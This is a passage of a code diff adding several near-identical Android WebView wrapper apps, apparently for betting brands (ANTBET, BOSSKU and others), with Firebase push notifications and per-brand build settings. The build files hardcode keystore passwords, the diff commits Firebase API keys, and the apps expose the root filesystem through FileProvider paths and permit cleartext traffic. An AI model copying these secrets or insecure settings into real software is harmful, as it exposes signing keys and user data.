body = messageInfo.getContent();
}
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
channelwinway = new NotificationChannel(getString(R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
channelwinway.enableLights(true);
channelwinway.enableVibration(true);
notificationManager.createNotificationChannel(channelwinway);
notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(title)
.setContentText(body)
.setAutoCancel(true)
.setContentIntent(pendingIntent);
} else {
notificationBuilder = new NotificationCompat.Builder(this, getString(R.string.app_name))
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(title)
.setContentText(body)
.setAutoCancel(true)
.setContentIntent(pendingIntent);
}
notificationManager.notify(0, notificationBuilder.build());
}
}

View File

@@ -0,0 +1,19 @@
package com.webclip.base;
import android.app.Application;
import android.content.Context;
import com.webclip.base.LogUtils;
public class WebApplication extends Application {
public static Context application;
@Override
public void onCreate() {
super.onCreate();
// 设置开启优化方案
application = this;
LogUtils.isDebug = BuildConfig.BUILD_TYPE.equals("debug");
}
}

View File

@@ -0,0 +1,9 @@
<?xml version="1.0" encoding="utf-8"?>
<shape xmlns:android="http://schemas.android.com/apk/res/android"
android:shape="rectangle">
<gradient
android:angle="270"
android:startColor="@color/windows_color"
android:centerColor="@color/windows_color"
android:endColor="@color/style_color"/>
</shape>

Binary file not shown.

After

Width:  |  Height:  |  Size: 567 KiB

View File

@@ -0,0 +1,91 @@
<resources xmlns:tools="http://schemas.android.com/tools">
<!-- Base application theme. -->
<style name="Theme.AppTheme" parent="Theme.MaterialComponents.DayNight.DarkActionBar.Bridge">
<!-- Primary brand color. -->
<item name="colorPrimary">@color/purple_500</item>
<item name="colorPrimaryVariant">@color/purple_700</item>
<item name="colorOnPrimary">@color/white</item>
<!-- Secondary brand color. -->
<item name="colorSecondary">@color/teal_200</item>
<item name="colorSecondaryVariant">@color/teal_700</item>
<item name="colorOnSecondary">@color/black</item>
<!-- Status bar color. -->
<item name="android:statusBarColor" tools:targetApi="l">?attr/colorPrimaryVariant</item>
<!-- Customize your theme here. -->
<item name="android:windowBackground">#000000</item>
</style>
<style name="Theme.Calculcator1" parent="Theme.MaterialComponents.DayNight.DarkActionBar.Bridge">
<!-- Primary brand color. -->
<item name="colorPrimary">@color/purple_500</item>
<item name="colorPrimaryVariant">@color/purple_700</item>
<item name="colorOnPrimary">@color/white</item>
<!-- Secondary brand color. -->
<item name="colorSecondary">@color/teal_200</item>
<item name="colorSecondaryVariant">@color/teal_700</item>
<item name="colorOnSecondary">@color/black</item>
<item name="android:windowFullscreen">true</item>
<item name="android:windowNoTitle">true</item>
<!-- Status bar color. -->
<item name="android:statusBarColor" tools:targetApi="l">?attr/colorPrimaryVariant</item>
<!-- Customize your theme here. -->
</style>
<declare-styleable name="CircleImageView">
<attr name="ease_border_color" format="color" />
<attr name="ease_border_width" format="dimension" />
<attr name="ease_press_alpha" format="integer" />
<attr name="ease_press_color" format="color" />
<attr name="ease_radius" format="dimension" />
<attr name="es_shape_type" format="enum">
<enum name="none" value="0" />
<enum name="round" value="1" />
<enum name="rectangle" value="2" />
</attr>
</declare-styleable>
<!-- 注意当前AppTheme主题在values-v23中单独重复维护。原因是Android 6以下系统不支持设置
系统状态栏颜色如果按照设计状态栏使用素色则在android6以下手机上就看不清系统状态栏文字了
因为系统文字是白色。在values-v23表示当Android 23即android 6及以上版本将自动使用该目录
下的主题(即 colorPrimaryDark 使用素色从而跟标题栏颜色保持一致实现沉浸式ui效果-->
<style name="AppThemeStart" parent="@style/Theme.AppCompat.Light.NoActionBar">
<item name="android:windowTranslucentStatus">false</item>
<item name="android:windowTranslucentNavigation">false</item>
<item name="android:statusBarColor">@android:color/transparent</item>
<item name="colorPrimary">@color/windows_color</item>
<item name="colorPrimaryDark">@color/windows_color</item>
<item name="colorAccent">@color/windows_color</item>
<item name="windowActionBar">false</item>
<!-- 隐藏Activity窗口的Title标题栏 -->
<item name="windowNoTitle">true</item>
<!-- <item name="android:windowFullscreen">true</item>-->
<!-- <item name="android:windowBackground">@drawable/splah_bg</item>-->
<item name="android:navigationBarColor">@color/style_color</item>
<!-- <item name="android:windowBackground">@mipmap/big_bg</item>-->
<item name="android:forceDarkAllowed" tools:ignore="NewApi">false</item>
<item name="android:windowBackground">@drawable/big_bg</item>
</style>
<style name="MaterialDesignDialog" parent="@style/Theme.AppCompat.Dialog">
<!-- 背景透明 -->
<item name="android:windowBackground">@android:color/transparent</item>
<item name="android:windowContentOverlay">@null</item>
<!-- 浮于Activity之上 -->
<item name="android:windowIsFloating">true</item>
<!-- 边框 -->
<item name="android:windowFrame">@null</item>
<!-- Dialog以外的区域模糊效果 -->
<item name="android:backgroundDimEnabled">true</item>
<!-- 无标题 -->
<item name="android:windowNoTitle">true</item>
<!-- 半透明 -->
<item name="android:windowIsTranslucent">true</item>
<item name="android:windowCloseOnTouchOutside">true</item>
</style>
</resources>

View File

@@ -0,0 +1,10 @@
<?xml version="1.0" encoding="utf-8"?>
<paths>
<root-path name="app_root_path" path="/"/>
<external-path name="app_external_path" path="/"/>
<external-cache-path name="app_external_cache_path" path="/"/>
<external-files-path name="app_external_files_path" path="/"/>
<files-path name="app_files_path" path="/"/>
<cache-path name="app_cache_path" path="/"/>
</paths>

View File

@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
<base-config cleartextTrafficPermitted="true" />
</network-security-config>

View File

@@ -0,0 +1,13 @@
<?xml version="1.0" encoding= "utf-8"?>
<resources>
<paths >
<external-path name="external_files" path="."/>
<root-path name="root" path="." />
<files-path name="files" path="." />
<cache-path name="cache" path="." />
<external-files-path name="external_files_f" path="." />
<external-cache-path name="external_cache" path="." />
</paths >
</resources>
<!-- 适配7.0及其以上配合com.eva.android.OpenFileUtil用于解决调用系统Intent查看大文件内
容、拍照保存图片的功能时出现"android.os.FileUriExposedException"异常的问题 -->

BIN
7ERACLUB/telur33.jks Normal file

Binary file not shown.

View File

@@ -25,7 +25,6 @@ android {
resValue('string', 'app_name', '88Malaysia')
buildConfigField "String", "BASE_URL", "\"https://live22x.com/\""
buildConfigField "int", "USERID", "287"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"

View File

@@ -66,7 +66,6 @@ public class IndexActivity extends MainActivity {
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
saveString(this, "base_url",BuildConfig.BASE_URL);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;

2
ANTBET/.gitignore vendored Normal file
View File

@@ -0,0 +1,2 @@
/build
/release

92
ANTBET/build.gradle Normal file
View File

@@ -0,0 +1,92 @@
plugins {
id 'com.android.application'
id 'com.google.gms.google-services'
}
def appOutPutName = "ANTBET"
android {
namespace rootProject.ext.namespace
compileSdk 36
defaultConfig {
minSdkVersion 24
targetSdk 36
versionCode rootProject.ext.versionCode
versionName rootProject.ext.versionName
testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
applicationId "com.hausd.ANTBET"
//app大背景色
resValue('color', 'windows_color', '#1A1A1A')
//底部导航栏颜色 大背景颜色为 windows_color——style_color的上下渐变色
resValue('color', 'style_color', '#1A1A1A')
//app 名字
resValue('string', 'app_name', 'ANTBET')
buildConfigField "int", "USERID", "307"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"
buildConfigField "int", "ROUND_RADIUS", "10"
buildConfigField "boolean", "HAS_CONTACT", "true"
buildConfigField "boolean", "HAS_HOOK", "false"
}
buildFeatures {
buildConfig = true
}
signingConfigs {
debug {
storeFile file('telur33.jks')
storePassword "android2014"
keyAlias 'key0'
keyPassword "android2014"
}
release {
storeFile file('telur33.jks')
storePassword "android2014"
keyAlias 'key0'
keyPassword "android2014"
}
}
buildTypes {
release {
signingConfig signingConfigs.release
minifyEnabled false
proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
}
}
compileOptions {
sourceCompatibility rootProject.ext.JAVA_VERSION
targetCompatibility rootProject.ext.JAVA_VERSION
}
applicationVariants.all { variant ->
variant.outputs.all {
def outputDir = new File(rootProject.ext.outputPath)
outputDir.mkdirs()
def outputFileName = "${appOutPutName}.apk"
setOutputFileName(outputFileName)
def newOutputFile = new File(outputDir, outputFileName)
newOutputFile.parentFile.mkdirs()
variant.assemble.doLast {
try {
java.nio.file.Files.copy(
outputFile.toPath(),
newOutputFile.toPath(),
java.nio.file.StandardCopyOption.REPLACE_EXISTING
)
} catch (java.io.IOException e) {
}
}
}
}
}
dependencies {
implementation project(path: ':base')
}

View File

@@ -0,0 +1,29 @@
{
"project_info": {
"project_number": "781122275884",
"project_id": "antbet-e3b1c",
"storage_bucket": "antbet-e3b1c.firebasestorage.app"
},
"client": [
{
"client_info": {
"mobilesdk_app_id": "1:781122275884:android:8f5f3f751d8558c2831f89",
"android_client_info": {
"package_name": "com.hausd.ANTBET"
}
},
"oauth_client": [],
"api_key": [
{
"current_key": "AIzaSyBUfKVyRr9FpPQt4i7XgiYC11j9Oafw1rs"
}
],
"services": {
"appinvite_service": {
"other_platform_oauth_client": []
}
}
}
],
"configuration_version": "1"
}

BIN
ANTBET/justlet.jks Normal file

Binary file not shown.

32
ANTBET/proguard-rules.pro vendored Normal file
View File

@@ -0,0 +1,32 @@
# Add project specific ProGuard rules here.
# You can control the set of applied configuration files using the
# proguardFiles setting in build.gradle.
#
# For more details, see
# http://developer.android.com/guide/developing/tools/proguard.html
# If your project uses WebView with JS, uncomment the following
# and specify the fully qualified class name to the JavaScript interface
# class:
#-keepclassmembers class fqcn.of.javascript.interface.for.webview {
# public *;
#}
# Uncomment this to preserve the line number information for
# debugging stack traces.
#-keepattributes SourceFile,LineNumberTable
# If you keep the line number information, uncomment this to
# hide the original source file name.
#-renamesourcefileattribute SourceFile
-dontwarn dalvik.**
-dontwarn com.tencent.smtt.**
-keep class com.tencent.smtt.** {
*;
}
-keep class com.tencent.tbs.** {
*;
}

View File

@@ -0,0 +1,67 @@
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android">
<!-- <uses-permission android:name="android.permission.READ_CONTACTS" />-->
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.VIBRATE" />
<!-- 8.0+系统需要-->
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
<!--推送权限-->
<uses-permission android:name="android.permission.POST_NOTIFICATIONS" />
<application
android:name=".WebApplication"
android:allowBackup="true"
android:hardwareAccelerated="true"
android:icon="@mipmap/app_logo"
android:label="@string/app_name"
android:networkSecurityConfig="@xml/network_security_config"
android:roundIcon="@mipmap/app_logo"
android:supportsRtl="true"
android:theme="@style/Theme.AppTheme"
android:usesCleartextTraffic="true">
<activity
android:name=".IndexActivity"
android:configChanges="orientation|keyboardHidden|screenSize"
android:exported="true"
android:hardwareAccelerated="true"
android:theme="@style/AppThemeStart">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
<action android:name="com.google.firebase.MESSAGING_EVENT" />
</intent-filter>
</activity>
<service
android:name=".MyFirebaseMessageingService"
android:exported="false">
<intent-filter>
<action android:name="com.google.firebase.MESSAGING_EVENT" />
</intent-filter>
</service>
<meta-data
android:name="com.google.firebase.messaging.default_notification_icon"
android:resource="@mipmap/app_logo" />
<meta-data
android:name="com.google.firebase.messaging.default_notification_color"
android:resource="@color/notify_color" />
<meta-data
android:name="com.google.firebase.messaging.default_notification_channel_id"
android:value="@string/app_name" />
</application>
</manifest>

View File

@@ -0,0 +1,78 @@
package com.webclip.base;
import android.os.Bundle;
import com.google.firebase.messaging.FirebaseMessaging;
public class IndexActivity extends MainActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
initConfig();
super.onCreate(savedInstanceState);
initWinwdowLogoConfig();
// registerFCM();
}
@Override
protected void regFcm() {
super.regFcm();
registerFCM();
}
/**
* 注册FCM
*/
private void registerFCM() {
//订阅主题
LogUtils.i("支持FCM 去注册");
try {
FirebaseMessaging.getInstance().subscribeToTopic("demo")
.addOnCompleteListener(task -> {
String msg = "Subscribed";
if (!task.isSuccessful()) {
msg = "Subscribe failed";
}else{
checkNotify();
}
LogUtils.i("支持FCM 结果:"+msg);
});
}catch (Exception e){
e.printStackTrace();
LogUtils.i("支持FCM Exception");
}
}
/**
* 用于修改大背景渐变色 不设置
*/
private void initWinwdowLogoConfig() {
//全局大背景 一个上下渐变 不要动
setBackDrawables(R.drawable.big_bg);
setImageView(BuildConfig.IS_ROUND,BuildConfig.ROUND_RADIUS);
getWindow().getDecorView().setBackgroundResource(R.drawable.big_bg);
//需要修改启动页logo在这里弄 一般启动页logo就是app_logo 没特殊要求 不要动
}
/**
* 基础配置都在这里
* 不要动
*/
private void initConfig() {
//===========================以下是APP的配置信息 都写在 app_config.xml中==================================
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;
hasContact = BuildConfig.HAS_CONTACT;
hasHook = BuildConfig.HAS_HOOK;
//===========================以上是APP的配置信息 都写在 app_config.xml中==================================
}
}

View File

@@ -0,0 +1,125 @@
package com.webclip.base;
import android.app.NotificationChannel;
import android.app.NotificationManager;
import android.app.PendingIntent;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.os.Build;
import androidx.annotation.NonNull;
import androidx.core.app.NotificationCompat;
import com.google.firebase.messaging.FirebaseMessagingService;
import com.google.firebase.messaging.RemoteMessage;
import com.google.gson.Gson;
import com.webclip.base.GsonUtils;
import com.webclip.base.MessageInfo;
import java.util.Map;
import java.util.Random;
public class MyFirebaseMessageingService extends FirebaseMessagingService {
public MyFirebaseMessageingService() {
}
@Override
public void onMessageReceived(@NonNull RemoteMessage remoteMessage) {
super.onMessageReceived(remoteMessage);
Map<String, String> serviceData = remoteMessage.getData(); //后台推送数据
if (serviceData != null && serviceData.containsKey("message")) {
String value = serviceData.get("message");
Gson gson = new Gson();
MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class);
showNotification(messageInfo);
} else {
//收到通知 创建notify
if (remoteMessage.getNotification() != null) {
showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody());
}
}
}
private void showNotification(MessageInfo messageInfo) {
Intent notifyIntent = new Intent(this, IndexActivity.class);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
ComponentName launchComponent = null;
launchComponent = getApplication()
.getPackageManager()
.getLaunchIntentForPackage(getApplication().getPackageName())
.getComponent();
notifyIntent.setComponent(launchComponent);
}
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
notifyIntent.setAction(Intent.ACTION_VIEW);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
notifyIntent.putExtra("message", messageInfo);
PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
NotificationChannel channelwinway = null;
NotificationCompat.Builder notificationBuilder = null;
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
channelwinway = new NotificationChannel(getString(R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
channelwinway.enableLights(true);
channelwinway.enableVibration(true);
notificationManager.createNotificationChannel(channelwinway);
notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(messageInfo.getTitle())
.setContentText(messageInfo.getContent())
.setAutoCancel(true)
.setContentIntent(pendingIntent);
} else {
notificationBuilder = new NotificationCompat.Builder(this, getString(R.string.app_name))
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(messageInfo.getTitle())
.setContentText(messageInfo.getContent())
.setAutoCancel(true)
.setContentIntent(pendingIntent);
}
notificationManager.notify(0, notificationBuilder.build());
}
private void showNotification(String title, String body) {
Intent notifyIntent = new Intent(this, IndexActivity.class);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
ComponentName launchComponent = null;
launchComponent = getApplication()
.getPackageManager()
.getLaunchIntentForPackage(getApplication().getPackageName())
.getComponent();
notifyIntent.setComponent(launchComponent);
}
notifyIntent.putExtra("message", body);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
notifyIntent.setAction(Intent.ACTION_VIEW);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
NotificationChannel channelwinway = null;
NotificationCompat.Builder notificationBuilder = null;
MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class);
if (messageInfo != null) {
body = messageInfo.getContent();
}
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
channelwinway = new NotificationChannel(getString(R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
channelwinway.enableLights(true);
channelwinway.enableVibration(true);
notificationManager.createNotificationChannel(channelwinway);
notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(title)
.setContentText(body)
.setAutoCancel(true)
.setContentIntent(pendingIntent);
} else {
notificationBuilder = new NotificationCompat.Builder(this, getString(R.string.app_name))
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(title)
.setContentText(body)
.setAutoCancel(true)
.setContentIntent(pendingIntent);
}
notificationManager.notify(0, notificationBuilder.build());
}
}

View File

@@ -0,0 +1,19 @@
package com.webclip.base;
import android.app.Application;
import android.content.Context;
import com.webclip.base.LogUtils;
public class WebApplication extends Application {
public static Context application;
@Override
public void onCreate() {
super.onCreate();
// 设置开启优化方案
application = this;
LogUtils.isDebug = BuildConfig.BUILD_TYPE.equals("debug");
}
}

View File

@@ -0,0 +1,9 @@
<?xml version="1.0" encoding="utf-8"?>
<shape xmlns:android="http://schemas.android.com/apk/res/android"
android:shape="rectangle">
<gradient
android:angle="270"
android:startColor="@color/windows_color"
android:centerColor="@color/windows_color"
android:endColor="@color/style_color"/>
</shape>

Binary file not shown.

After

Width:  |  Height:  |  Size: 318 KiB

View File

@@ -0,0 +1,91 @@
<resources xmlns:tools="http://schemas.android.com/tools">
<!-- Base application theme. -->
<style name="Theme.AppTheme" parent="Theme.MaterialComponents.DayNight.DarkActionBar.Bridge">
<!-- Primary brand color. -->
<item name="colorPrimary">@color/purple_500</item>
<item name="colorPrimaryVariant">@color/purple_700</item>
<item name="colorOnPrimary">@color/white</item>
<!-- Secondary brand color. -->
<item name="colorSecondary">@color/teal_200</item>
<item name="colorSecondaryVariant">@color/teal_700</item>
<item name="colorOnSecondary">@color/black</item>
<!-- Status bar color. -->
<item name="android:statusBarColor" tools:targetApi="l">?attr/colorPrimaryVariant</item>
<!-- Customize your theme here. -->
<item name="android:windowBackground">#000000</item>
</style>
<style name="Theme.Calculcator1" parent="Theme.MaterialComponents.DayNight.DarkActionBar.Bridge">
<!-- Primary brand color. -->
<item name="colorPrimary">@color/purple_500</item>
<item name="colorPrimaryVariant">@color/purple_700</item>
<item name="colorOnPrimary">@color/white</item>
<!-- Secondary brand color. -->
<item name="colorSecondary">@color/teal_200</item>
<item name="colorSecondaryVariant">@color/teal_700</item>
<item name="colorOnSecondary">@color/black</item>
<item name="android:windowFullscreen">true</item>
<item name="android:windowNoTitle">true</item>
<!-- Status bar color. -->
<item name="android:statusBarColor" tools:targetApi="l">?attr/colorPrimaryVariant</item>
<!-- Customize your theme here. -->
</style>
<declare-styleable name="CircleImageView">
<attr name="ease_border_color" format="color" />
<attr name="ease_border_width" format="dimension" />
<attr name="ease_press_alpha" format="integer" />
<attr name="ease_press_color" format="color" />
<attr name="ease_radius" format="dimension" />
<attr name="es_shape_type" format="enum">
<enum name="none" value="0" />
<enum name="round" value="1" />
<enum name="rectangle" value="2" />
</attr>
</declare-styleable>
<!-- 注意当前AppTheme主题在values-v23中单独重复维护。原因是Android 6以下系统不支持设置
系统状态栏颜色如果按照设计状态栏使用素色则在android6以下手机上就看不清系统状态栏文字了
因为系统文字是白色。在values-v23表示当Android 23即android 6及以上版本将自动使用该目录
下的主题(即 colorPrimaryDark 使用素色从而跟标题栏颜色保持一致实现沉浸式ui效果-->
<style name="AppThemeStart" parent="@style/Theme.AppCompat.Light.NoActionBar">
<item name="android:windowTranslucentStatus">false</item>
<item name="android:windowTranslucentNavigation">false</item>
<item name="android:statusBarColor">@android:color/transparent</item>
<item name="colorPrimary">@color/windows_color</item>
<item name="colorPrimaryDark">@color/windows_color</item>
<item name="colorAccent">@color/windows_color</item>
<item name="windowActionBar">false</item>
<!-- 隐藏Activity窗口的Title标题栏 -->
<item name="windowNoTitle">true</item>
<!-- <item name="android:windowFullscreen">true</item>-->
<!-- <item name="android:windowBackground">@drawable/splah_bg</item>-->
<item name="android:navigationBarColor">@color/style_color</item>
<!-- <item name="android:windowBackground">@mipmap/big_bg</item>-->
<item name="android:forceDarkAllowed" tools:ignore="NewApi">false</item>
<item name="android:windowBackground">@drawable/big_bg</item>
</style>
<style name="MaterialDesignDialog" parent="@style/Theme.AppCompat.Dialog">
<!-- 背景透明 -->
<item name="android:windowBackground">@android:color/transparent</item>
<item name="android:windowContentOverlay">@null</item>
<!-- 浮于Activity之上 -->
<item name="android:windowIsFloating">true</item>
<!-- 边框 -->
<item name="android:windowFrame">@null</item>
<!-- Dialog以外的区域模糊效果 -->
<item name="android:backgroundDimEnabled">true</item>
<!-- 无标题 -->
<item name="android:windowNoTitle">true</item>
<!-- 半透明 -->
<item name="android:windowIsTranslucent">true</item>
<item name="android:windowCloseOnTouchOutside">true</item>
</style>
</resources>

View File

@@ -0,0 +1,10 @@
<?xml version="1.0" encoding="utf-8"?>
<paths>
<root-path name="app_root_path" path="/"/>
<external-path name="app_external_path" path="/"/>
<external-cache-path name="app_external_cache_path" path="/"/>
<external-files-path name="app_external_files_path" path="/"/>
<files-path name="app_files_path" path="/"/>
<cache-path name="app_cache_path" path="/"/>
</paths>

View File

@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
<base-config cleartextTrafficPermitted="true" />
</network-security-config>

View File

@@ -0,0 +1,13 @@
<?xml version="1.0" encoding= "utf-8"?>
<resources>
<paths >
<external-path name="external_files" path="."/>
<root-path name="root" path="." />
<files-path name="files" path="." />
<cache-path name="cache" path="." />
<external-files-path name="external_files_f" path="." />
<external-cache-path name="external_cache" path="." />
</paths >
</resources>
<!-- 适配7.0及其以上配合com.eva.android.OpenFileUtil用于解决调用系统Intent查看大文件内
容、拍照保存图片的功能时出现"android.os.FileUriExposedException"异常的问题 -->

BIN
ANTBET/telur33.jks Normal file

Binary file not shown.

View File

@@ -25,7 +25,6 @@ android {
resValue('string', 'app_name', 'AU99live')
buildConfigField "String", "BASE_URL", "\"https://live22x.com/\""
buildConfigField "int", "USERID", "295"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"

View File

@@ -66,7 +66,6 @@ public class IndexActivity extends MainActivity {
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
saveString(this, "base_url",BuildConfig.BASE_URL);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;

2
BOSSKU/.gitignore vendored Normal file
View File

@@ -0,0 +1,2 @@
/build
/release

92
BOSSKU/build.gradle Normal file
View File

@@ -0,0 +1,92 @@
plugins {
id 'com.android.application'
id 'com.google.gms.google-services'
}
def appOutPutName = "BOSSKU"
android {
namespace rootProject.ext.namespace
compileSdk 36
defaultConfig {
minSdkVersion 24
targetSdk 36
versionCode rootProject.ext.versionCode
versionName rootProject.ext.versionName
testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
applicationId "com.suahda.BOSSKU"
//app大背景色
resValue('color', 'windows_color', '#1D2828')
//底部导航栏颜色 大背景颜色为 windows_color——style_color的上下渐变色
resValue('color', 'style_color', '#1D2726')
//app 名字
resValue('string', 'app_name', 'BOSSKU')
buildConfigField "int", "USERID", "308"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"
buildConfigField "int", "ROUND_RADIUS", "10"
buildConfigField "boolean", "HAS_CONTACT", "true"
buildConfigField "boolean", "HAS_HOOK", "false"
}
buildFeatures {
buildConfig = true
}
signingConfigs {
debug {
storeFile file('telur33.jks')
storePassword "android2014"
keyAlias 'key0'
keyPassword "android2014"
}
release {
storeFile file('telur33.jks')
storePassword "android2014"
keyAlias 'key0'
keyPassword "android2014"
}
}
buildTypes {
release {
signingConfig signingConfigs.release
minifyEnabled false
proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
}
}
compileOptions {
sourceCompatibility rootProject.ext.JAVA_VERSION
targetCompatibility rootProject.ext.JAVA_VERSION
}
applicationVariants.all { variant ->
variant.outputs.all {
def outputDir = new File(rootProject.ext.outputPath)
outputDir.mkdirs()
def outputFileName = "${appOutPutName}.apk"
setOutputFileName(outputFileName)
def newOutputFile = new File(outputDir, outputFileName)
newOutputFile.parentFile.mkdirs()
variant.assemble.doLast {
try {
java.nio.file.Files.copy(
outputFile.toPath(),
newOutputFile.toPath(),
java.nio.file.StandardCopyOption.REPLACE_EXISTING
)
} catch (java.io.IOException e) {
}
}
}
}
}
dependencies {
implementation project(path: ':base')
}

View File

@@ -0,0 +1,29 @@
{
"project_info": {
"project_number": "715940716940",
"project_id": "bossku-2da5a",
"storage_bucket": "bossku-2da5a.firebasestorage.app"
},
"client": [
{
"client_info": {
"mobilesdk_app_id": "1:715940716940:android:c70cedb8bb59ddc62bf6a9",
"android_client_info": {
"package_name": "com.suahda.BOSSKU"
}
},
"oauth_client": [],
"api_key": [
{
"current_key": "AIzaSyAzY_v2Gikx0BtFsA5ch7wLX_xzOxgdMLo"
}
],
"services": {
"appinvite_service": {
"other_platform_oauth_client": []
}
}
}
],
"configuration_version": "1"
}

BIN
BOSSKU/justlet.jks Normal file

Binary file not shown.

32
BOSSKU/proguard-rules.pro vendored Normal file
View File

@@ -0,0 +1,32 @@
# Add project specific ProGuard rules here.
# You can control the set of applied configuration files using the
# proguardFiles setting in build.gradle.
#
# For more details, see
# http://developer.android.com/guide/developing/tools/proguard.html
# If your project uses WebView with JS, uncomment the following
# and specify the fully qualified class name to the JavaScript interface
# class:
#-keepclassmembers class fqcn.of.javascript.interface.for.webview {
# public *;
#}
# Uncomment this to preserve the line number information for
# debugging stack traces.
#-keepattributes SourceFile,LineNumberTable
# If you keep the line number information, uncomment this to
# hide the original source file name.
#-renamesourcefileattribute SourceFile
-dontwarn dalvik.**
-dontwarn com.tencent.smtt.**
-keep class com.tencent.smtt.** {
*;
}
-keep class com.tencent.tbs.** {
*;
}

View File

@@ -0,0 +1,67 @@
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android">
<!-- <uses-permission android:name="android.permission.READ_CONTACTS" />-->
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.VIBRATE" />
<!-- 8.0+系统需要-->
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
<!--推送权限-->
<uses-permission android:name="android.permission.POST_NOTIFICATIONS" />
<application
android:name=".WebApplication"
android:allowBackup="true"
android:hardwareAccelerated="true"
android:icon="@mipmap/app_logo"
android:label="@string/app_name"
android:networkSecurityConfig="@xml/network_security_config"
android:roundIcon="@mipmap/app_logo"
android:supportsRtl="true"
android:theme="@style/Theme.AppTheme"
android:usesCleartextTraffic="true">
<activity
android:name=".IndexActivity"
android:configChanges="orientation|keyboardHidden|screenSize"
android:exported="true"
android:hardwareAccelerated="true"
android:theme="@style/AppThemeStart">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
<action android:name="com.google.firebase.MESSAGING_EVENT" />
</intent-filter>
</activity>
<service
android:name=".MyFirebaseMessageingService"
android:exported="false">
<intent-filter>
<action android:name="com.google.firebase.MESSAGING_EVENT" />
</intent-filter>
</service>
<meta-data
android:name="com.google.firebase.messaging.default_notification_icon"
android:resource="@mipmap/app_logo" />
<meta-data
android:name="com.google.firebase.messaging.default_notification_color"
android:resource="@color/notify_color" />
<meta-data
android:name="com.google.firebase.messaging.default_notification_channel_id"
android:value="@string/app_name" />
</application>
</manifest>

View File

@@ -0,0 +1,78 @@
package com.webclip.base;
import android.os.Bundle;
import com.google.firebase.messaging.FirebaseMessaging;
public class IndexActivity extends MainActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
initConfig();
super.onCreate(savedInstanceState);
initWinwdowLogoConfig();
// registerFCM();
}
@Override
protected void regFcm() {
super.regFcm();
registerFCM();
}
/**
* 注册FCM
*/
private void registerFCM() {
//订阅主题
LogUtils.i("支持FCM 去注册");
try {
FirebaseMessaging.getInstance().subscribeToTopic("demo")
.addOnCompleteListener(task -> {
String msg = "Subscribed";
if (!task.isSuccessful()) {
msg = "Subscribe failed";
}else{
